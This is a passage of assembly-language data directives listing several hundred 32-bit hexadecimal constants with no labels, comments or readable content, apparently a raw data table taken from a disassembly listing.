dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h, 629093A2h dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh, 8968137h dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h dd 1FB5384h, 74BAB5B9h, 288B0FFEh, 9542F13Fh, 0FDC3B4BFh dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh, 0C9DC882Fh dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h, 0C12A5Dh dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah, 14285566h dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh, 0E537C0FDh dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h, 954BAE80h dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h, 0C26E06ECh dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h, 147D9492h dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h, 2EBCB400h dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh, 0B05E1497h dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh, 21DA3329h dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h, 2A4F64F9h dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h, 31F42CE8h dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h, 0CB21136h dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h, 2A6D7F9Bh dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h, 86ED7D70h dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h, 9365BE05h dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh, 6938FCA7h dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh, 40F93C55h dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh, 5708E112h dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h, 318297ACh dd 0EA4F1417h, 6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h, 90C1DA5Bh dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h dd 282587FEh, 0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh, 4194D57Dh dd 96D5475Eh, 8CB5EE07h dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah, 21CF0E2h dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h, 0CF2F460Bh dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch, 0A07605A8h dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h, 0D7EB8273h dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh, 0C958EA35h dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch, 1DC276BEh dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h, 0A470FBCAh dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h, 0BBD25C61h dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h, 0F96A8060h dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h, 61916453h dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h, 68FD28FDh dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h, 176E79ECh dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h dd 0E9590E38h, 8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh, 0C27ECA75h dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h, 0E5CE5535h dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h, 1CF66FA9h dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh, 56C22B52h dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h, 3D5DD9h dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h, 0F27F970h dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh, 5F61ABDEh dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh, 6DA75204h dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh, 7214E212h dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch, 392FDE6Eh dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h, 151CF165h dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h, 0DA848B74h dd 3C9276D3h, 6D37CB9h, 2AFDE550h, 36D7B1E5h, 0A0B9E52Dh dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h, 1BFBB86Dh dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h, 9CF9081Ch dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h, 1BFFFFC7h dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h, 3631629Bh dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h, 0B6D568B6h dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch, 74AA1D5Dh dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h, 0EEFBA097h dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h, 89DCC415h dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h, 0FFDAD3h dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h, 29668FE5h dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h, 852F7A0Dh dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh, 0F866A565h dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h, 0C62BB7A1h dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh, 9BC252AFh dd 8B86FCC2h, 8755166h dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h, 0CEB09714h dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h, 447E7BB7h dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h, 42ACB48h dd 0B76A95h, 64BDA072h, 9DD35DEDh, 1614D019h, 0EF296EA5h dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h, 67CDB88Dh dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h, 89AC8E8Ah dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh dd 21D94001h, 96B3AD7h, 4DD5A64Fh, 0D567F011h, 2181F4A8h dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h dd 0C9E7111h, 1C946DDh, 7934096Dh, 0CE18603Fh, 0B7D3E14Bh dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h, 539BD830h dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah, 783DE32Ch dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh dd 89B043Ah, 0A9083F9h, 0F62DFB3Ah, 2DC33E81h, 0F19D528h dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h, 0E71AB0C8h dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h, 359AF28Ch dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh, 8C93CADEh dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h, 0D19C9AC9h dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h dd 0ABE81A0h, 9487E03h, 28C5400Dh, 0D3D8631Eh, 813FB1A0h dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h dd 440C91Bh, 8E3DF2EBh, 2A2AA6A3h, 3F8CB9C3h, 0C058967h dd 39FCA5F2h, 73450DDh, 0AA216AB5h, 140E8A7Ch, 6DDAE004h dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh, 33D649B9h dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh, 0EC20D987h dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h, 0FBD23A19h dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h, 0DC568738h dd 8BF65F81h, 4FE3AFEh, 7B7126F1h, 2CFAAB3Ch, 0A9D8F041h dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh, 0F55705DDh dd 781D82Ah, 27D58967h, 8C47FBBAh, 0E034ED5Dh, 0E34FEA47h dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h, 0C5590FA7h dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h, 7304DD0Fh dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h, 34C9B828h dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h, 0CEEBC74Fh dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h, 0A5E0E4BBh dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch, 44A05ED6h dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h dd 79B09B5Fh, 96795A9h, 0C6B65AFAh, 0B37B2BEEh, 0BF662DE6h dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh dd 45148196h, 39B05CEh, 6D2E4517h, 0EEB60BC5h, 26F73682h dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch, 3D658F1Eh dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh, 0BD71BEFAh dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h, 99FFEAA1h dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh, 6AE37D32h dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h, 5F58E3Ah dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h, 0F417201Ch dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h, 5DA19E0h dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh dd 97E71300h, 6688A54Fh dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h, 8A988AB3h dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h, 0E55FB898h dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h, 282BE400h dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h, 6933A45Bh dd 5F48D97Eh, 96BD682h, 0D2FD64Ah, 16F11365h, 7F733092h dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h, 0CD5852A1h dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h, 221A27C2h dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h, 0A976B7D8h dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h, 0FD6C7B1Ch dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh, 3D4500EFh dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh, 9E7A20EFh dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch, 0DE854992h dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh, 71A855C4h dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h, 0DF9DEF5Eh dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h, 2FEA5496h dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh, 0CD5D5279h dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah, 8B5E8686h dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 